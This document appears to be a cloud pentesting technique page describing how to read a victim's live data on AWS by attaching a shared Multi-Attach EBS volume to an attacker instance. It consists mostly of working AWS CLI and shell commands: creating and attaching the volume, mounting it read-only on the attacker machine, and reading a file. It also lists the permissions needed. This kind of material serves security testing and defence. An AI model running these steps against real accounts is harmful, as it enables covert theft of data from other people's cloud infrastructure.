AWS - Live Data Theft via EBS Multi-Attach

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Summary

Abuse EBS Multi-Attach to read from a live io1/io2 data volume by attaching the same volume to an attacker-controlled instance in the same Availability Zone (AZ). Mounting the shared volume read-only gives immediate access to in-use files without creating snapshots.

Requirements

• Target volume: io1 or io2 created with --multi-attach-enabled in the same AZ as the attacker instance.
• Permissions: ec2:AttachVolume, ec2:DescribeVolumes, ec2:DescribeInstances on the target volume/instances.
• Infrastructure: Nitro-based instance types that support Multi-Attach (C5/M5/R5 families, etc.).

Notes

• Mount read-only with -o ro,noload to reduce corruption risk and avoid journal replays.
• On Nitro instances the EBS NVMe device exposes a stable /dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol... path (helper below).

Prepare a Multi-Attach io2 volume and attach to victim

Example (create in us-east-1a and attach to the victim):

AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
  --size 10 \
  --volume-type io2 \
  --iops 1000 \
  --availability-zone $AZ \
  --multi-attach-enabled \
  --tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
  --query 'VolumeId' --output text)

# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf

On the victim, format/mount the new volume and write sensitive data (illustrative):

VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync

Attach the same volume to the attacker instance

aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf

Mount read-only on the attacker and read data

VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt

Expected result: The same VOL_ID shows multiple Attachments (victim and attacker) and the attacker can read files written by the victim without creating any snapshot.

aws ec2 describe-volumes --volume-ids $VOL_ID \
  --query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'

VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...

Impact

• Immediate read access to live data on the target EBS volume without generating snapshots.
• If mounted read-write the attacker can tamper with the victim filesystem (risk of corruption).